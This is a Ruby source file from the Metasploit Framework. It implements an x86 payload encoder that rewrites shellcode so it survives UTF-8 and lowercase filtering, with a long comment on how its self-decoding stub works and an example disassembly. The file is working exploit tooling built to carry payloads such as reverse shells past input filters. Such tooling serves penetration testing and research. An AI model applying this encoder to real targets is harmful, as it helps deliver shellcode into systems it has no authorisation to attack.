##
# $Id: avoid_utf8_tolower.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


#
# NOTE: Read this if you plan on using this encoder:
#
# This encoder has some limitations that must be considered.  First, this
# encoder cannot be used with all of the payloads included in the framework.
# Most notably, this includes windows/shell_reverse_tcp.  The reason for this
# is that some payloads are of a size that leads to a bad character (uppercase
# character) being generated in the decoder stub header.
#
# A second thing to consider is that some IP addresses used in payloads are
# incompatible with this encoder depending on their alignment within the
# payload.  For example, the use of 127.0.0.1 may not work due to the fact
# that it's impossible to reach the bytes 127, 0, and 1 in a single add or sub
# due to the algorithm that this encoder uses.
#
# Here's a description of how it works:
#
# This encoder is pretty lame.  It has a huge size overhead.  Alas, it
# does produce tolower safe and UTF8 safe payloads.  The decoder itself is
# split into three distinct chunks.  The first chunk is the header, the second
# chunk is the inline-decoding, and the third chunk is where the decoded data
# is persisted.  Unlike most encoders, this encoder does not use any branch
# instructions and instead runs into the decoded data after it completes due
# to the fact that it is decoding inline.
#
# The basic approach taken to implement the encoder is this.  First, the
# decoder header assumes that a register (ecx) points to the first byte
# in the decoder stub.  It then proceeds to calculate the offset to the
# third chunk of the decoder (the persisted data) and updates the context
# register (ecx) to point to the first byte of the third chunk of the decoder
# stub.  Following that, the second chunk of the decoder begins executing
# which uses a series of add or subtract operations on the third chunk of the
# decoder to produce the actual opcodes of the encoded payload.  For each four
# bytes of encoded data, a sub or add instruction is used in combination with
# complementary information stored in the third chunk of the decoder.
#
# For example, in order to produce 0x01fdfeff one could do the following:
#
#   0x5e096f7c
# - 0x5c0b707d
# ------------
#   0x01fdfeff
#
# After all of the inline decoding operations complete, the payload should
# simply fall through into the now-decoded payload that was stored in the
# third chunk of the decoder.
#
# The following is an example encoding of:
#
# "\xcc\x41\xcc\x41\xcc\x41\xcc\x41\xff\xfe\xfd\x01\xff\x02\x82\x4c"
#
# 00000000  6A04              push byte +0x4
# 00000002  6B3C240B          imul edi,[esp],byte +0xb
# 00000006  60                pusha
# 00000007  030C24            add ecx,[esp]
# 0000000A  6A11              push byte +0x11
# 0000000C  030C24            add ecx,[esp]
# 0000000F  6A04              push byte +0x4
# 00000011  68640F5F31        push dword 0x315f0f64
# 00000016  5F                pop edi
# 00000017  0139              add [ecx],edi
# 00000019  030C24            add ecx,[esp]
# 0000001C  6870326B32        push dword 0x326b3270
# 00000021  5F                pop edi
# 00000022  0139              add [ecx],edi
# 00000024  030C24            add ecx,[esp]
# 00000027  687D700B5C        push dword 0x5c0b707d
# 0000002C  5F                pop edi
# 0000002D  2939              sub [ecx],edi
# 0000002F  030C24            add ecx,[esp]
# 00000032  6804317F32        push dword 0x327f3104
# 00000037  5F                pop edi
# 00000038  2939              sub [ecx],edi
# 0000003A  030C24            add ecx,[esp]
# 0000003D  68326D105C        push dword 0x5c106d32
# 00000042  0F610F            punpcklwd mm1,[edi]
# 00000045  7C6F              jl 0xb6
# 00000047  095E03            or [esi+0x3],ebx
# 0000004A  3401              xor al,0x1
# 0000004C  7F                db 0x7F
#
class Metasploit3 < Msf::Encoder

	#
	# In some cases, payloads can be an invalid size that is incompatible with
	# this encoder
	#
	class InvalidPayloadSizeException < ::Exception
		def initialize(msg)
			@msg = msg
		end

		def to_s
			@msg
		end
	end

	# This encoder has a manual ranking because it should only be used in cases
	# where information has been explicitly supplied, like the BufferOffset.
	Rank = ManualRanking

	def initialize
		super(
			'Name'             => 'Avoid UTF8/tolower',
			'Version'          => '$Revision: 9179 $',
			'Description'      => 'UTF8 Safe, tolower Safe Encoder',
			'Author'           => 'skape',
			'Arch'             => ARCH_X86,
			'License'          => MSF_LICENSE,
			'EncoderType'      => Msf::Encoder::Type::NonUpperUtf8Safe,
			'Decoder'          =>
				{
					'KeySize'    => 4,
					'BlockSize'  => 4,
				})
	end

	#
	# Returns the decoder stub that is adjusted for the size of
	# the buffer being encoded
	#
	def decoder_stub(state)
		len = ((state.buf.length + 3) & (~0x3)) / 4

		# Grab the number of additional bytes that we need to adjust by in order
		# to get the context register to point immediately after the stub header
		off = (datastore['BufferOffset'] || 0).to_i

		# Check to make sure that the length is a valid size
		if is_badchar(state, len)
			raise InvalidPayloadSizeException.new("The payload being encoded is of an incompatible size (#{len} bytes)")
		end

		decoder =
			"\x6a" + [len].pack('C')      +  # push len
			"\x6b\x3c\x24\x0b"            +  # imul 0xb
			"\x60"                        +  # pusha
			"\x03\x0c\x24"                +  # add ecx, [esp]
			"\x6a" + [0x11+off].pack('C') +  # push byte 0x11 + off
			"\x03\x0c\x24"                +  # add ecx, [esp]
			"\x6a\x04"                       # push byte 0x4

		# encoded sled
		state.context = ''

		return decoder
	end

	def encode_block(state, block)
		buf = try_add(state, block)

		if (buf.nil?)
			buf = try_sub(state, block)
		end

		if (buf.nil?)
			raise BadcharError.new(state.encoded, 0, 0, 0)
		end

		buf
	end

	#
	# Appends the encoded context portion.
	#
	def encode_end(state)
		state.encoded += state.context
	end

	#
	# Generate the instructions that will be used to produce a valid
	# block after decoding using the sub instruction in conjunction with
	# two UTF8/tolower safe values.
	#
	def try_sub(state, block)
		buf   = "\x68";
		vbuf  = ''
		ctx   = ''
		carry = 0

		block.each_byte { |b|
			# It's impossible to reach 0x7f, 0x80, 0x81 with two subs
			# of a value that is < 0x80 without NULLs.
			return nil if (b == 0x80 or b == 0x81 or b == 0x7f)

			x          = 0
			y          = 0
			attempts   = 0
			prev_carry = carry

			begin
				carry = prev_carry

				if (b > 0x80)
					diff  = 0x100 - b
					y     = rand(0x80 - diff - 1).to_i + 1
					x     = (0x100 - (b - y + carry))
					carry = 1
				else
					diff  = 0x7f - b
					x     = rand(diff - 1) + 1
					y     = (b + x + carry) & 0xff
					carry = 0
				end

				attempts += 1

				# Lame.
				return nil if (attempts > 512)

			end while (is_badchar(state, x) or is_badchar(state, y))

			vbuf += [x].pack('C')
			ctx  += [y].pack('C')
		}

		buf += vbuf + "\x5f\x29\x39\x03\x0c\x24"

		state.context += ctx

		return buf

	end

	#
	# Generate instructions that will be used to produce a valid block after
	# decoding using the add instruction in conjunction with two UTF8/tolower
	# safe values.
	#
	def try_add(state, block)
		buf  = "\x68"
		vbuf = ''
		ctx  = ''

		block.each_byte { |b|
			# It's impossible to produce 0xff and 0x01 using two non-NULL,
			# tolower safe, and UTF8 safe values.
			return nil if (b == 0xff or b == 0x01 or b == 0x00)

			attempts = 0

			begin
				xv = rand(b - 1) + 1

				attempts += 1

				# Lame.
				return nil if (attempts > 512)

			end while (is_badchar(state, xv) or is_badchar(state, b - xv))

			vbuf += [xv].pack('C')
			ctx  += [b - xv].pack('C')
		}

		buf += vbuf + "\x5f\x01\x39\x03\x0c\x24"

		state.context += ctx

		return buf
	end

	def is_badchar(state, val)
		((val >= 0x41 and val <= 0x5a) or val >= 0x80) or Rex::Text.badchar_index([val].pack('C'), state.badchars)
	end

end
